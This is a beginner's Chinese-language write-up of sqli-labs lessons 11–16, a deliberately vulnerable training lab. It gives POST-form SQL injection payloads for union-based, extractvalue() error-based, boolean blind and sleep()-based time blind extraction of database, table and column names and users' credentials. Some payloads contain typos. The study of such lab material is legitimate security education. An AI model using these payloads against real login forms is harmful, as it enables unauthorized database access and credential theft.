• 小白注入学习:sqli-labs--less11-16学习记录


    Less11 基于POST的单引号型字符型注入

    1.基于post型的注入
    Less11的参数的提交方式是POST型的,向后台提交需要处理的数据。POST提交方式更安全,因为参数不URL中显示也不会保存在浏览器历史。
    post注入通过输入框进行传参,可以带入数据库进行查询。
    2.判断注入点
    这里是两个参数username和password都是通过输入,并将参数代入数据库执行。
    usernaem框中输入 ' password 随意 数据库报错,报错位置在输入password的123,说明 ' 单引号闭合了username的单引号,如果在后面加上#注释后面内容,如果数据库不报错,则说明在username存在注入点。
    username框输入 '# password 随意 页面显示正常数据库没有报错,确定username存在注入点
    3.union联合查询注入
    (1) order by 爆列数

    ' order by 3# 数据库报错 不存在第三列
    ' order by 2# 数据库未报错,页面正常,故有两列

    (2) 确定列的显示位置

    ' union select 1,2# 可以通过页面回显确定username为位置1,password为位置2。

    (3) 查询数据库名

    ' union select database(),version()# 在位置1位数据库名,位置2为数据库版本信息。

    (4) 查询表名

    ' union select 1,group_concat(table_name) from inforamtion_schema.tables where table_schema=database()#

    (5) 在users表中查询列名

    ' union select 1,group_concat(colunm_name) from information_schema.columns where table_name='users'#

    (6) 查询列的内容

    ' union select 1,group_concat(username,0x7e,password) from users#

    Less12 基于POST的变形字符注入

    1.判断注入点
    通过在username框中输入反斜杠 使数据库报错。根据数据库报错的提示可以发现这次他吧username的值放在("username")中,所以需要双引号和括号来闭合实现注入")

    usrename框中输入 ") password 随意。数据库报错 ,页面错误
    username框中输入 ")# password 随意 页面正常 确定从username注入
    2.union联合查询注入
    流畅和上述less11一直,只不过在payload处,把 ' 换成 ")即可完成注入。

    Less13 基于POST的报错注入

    1.判断注入点
    还是是通过反斜杠 使数据库报错。根据报错判断,username和password放在('')中,需要 ')闭合

    2.extractvalue()报错注入
    (1) order by 确定列数为2
    ' order by 2#不报错
    (2) 当使用union select 1,2#查询时,页面只显示登录成功而不显示登录信息,无法通过显错式注入。故考虑通过报错式注入
    (3) 报错式查询数据库名,下面附上payload

    ') and extractvalue(1,concat(0x7e,database(),0x7e))#

    查询表名

    ') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#

    查询users的列名

    ') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))#

    查询username

    ') and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))#

    查询password

    ') and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#
    完成注入

    Less14 基于POST的报错注入

    注入方法和less13一样,通过反斜杠可以使数据库报错,得知参数放在双引号""中,使用extractvalue()完成注入。

    Less15 基于POST布尔型盲注

    1.判断注入类型
    无论输入什么数据库都不会报错。不能通过显错,报错的方式去注入,考虑盲注。
    当在username框中输入 ' union select 1,2# password 随意的时候发现登录成功,
    可以说明 1.参数放在单引号内,2.数据语句正确时登录成功,错误时登录失败。是典型布尔盲注。


    2.left()布尔盲注:在username中输入payload,因为#注释后面的内容所以密码随意
    (1) 判断数据库长度
    -1' and length(database())=8#
    (2) 猜测数据库名
    admin' and left(database(),1)='a'#
    如果数据库名第一个字母是s,那么就登录成功否则登录失败
    admin' and left(database(),8)='security'#
    一个字符的猜测,可以得知数据库名是secruity
    (3)猜测表名、列名、内容都一样,盲注比较麻烦。附上部分payload

    表名
    admin' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'#
    列名
    admin' and left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i'#
    字段内容
    admin' and left((select username from users limit 0,1),1)='D'#

    (4) 也可以使用burpsuit的暴力破解。使用方法参照
     Less8布尔盲注

    Less16 基于POST时间型盲注

    1.布尔盲注

    和less15注入方法一样,但是16的参数放在("")中,需要")来闭合。只需要在payload中把 ' 修改即可完成注入

    2.时间盲注
    通过在username中输入 ") union select 1,2 and sleep(2)#发现页面有明显的延迟响应,所以可以用sleep()完成盲注。
    附上部分payload

    库名
    admin") and if(left(database(),1)='s',sleep(2),0)#
    表名
    admin") and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',sleep(2),0)#
    列名
    admin") and if(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i',sleep(2),0)#
    username
    admin") and if(left((select username from users limit 0,1),1)='D',sleep(2),0)#
    password
    admin") and if(left((select password from users limit 0,1),1)='D',sleep(2),0)#

    PS小白总结

    (1) POST、GET的注入方法基本上是一致的,区别主要在于传递参数的方法不同。

    (2) POST型参数都是由我们输入是我们可以控制的,并且要代入数据库执行

    (3) 根据页面的内容、回显信息、报错信息来判断注入的方法。反斜杠 是很好用的报错方法。

      

    小白注入学习记录!!

  • 相关阅读:
    hdu 1175
    hdu 2197
    STL的学习
    数据结构之线性结构栈
    Linux下Fork与Exec使用
    散列技术之哈希
    检索之二分检索
    检索之顺序检索
    程序员该怎样放松?8个好网站推荐
    外部碎片和内部碎片的区别
  • 原文地址:https://www.cnblogs.com/ersuani/p/sqlilab_less11-16.html
Copyright © 2020-2023  润新知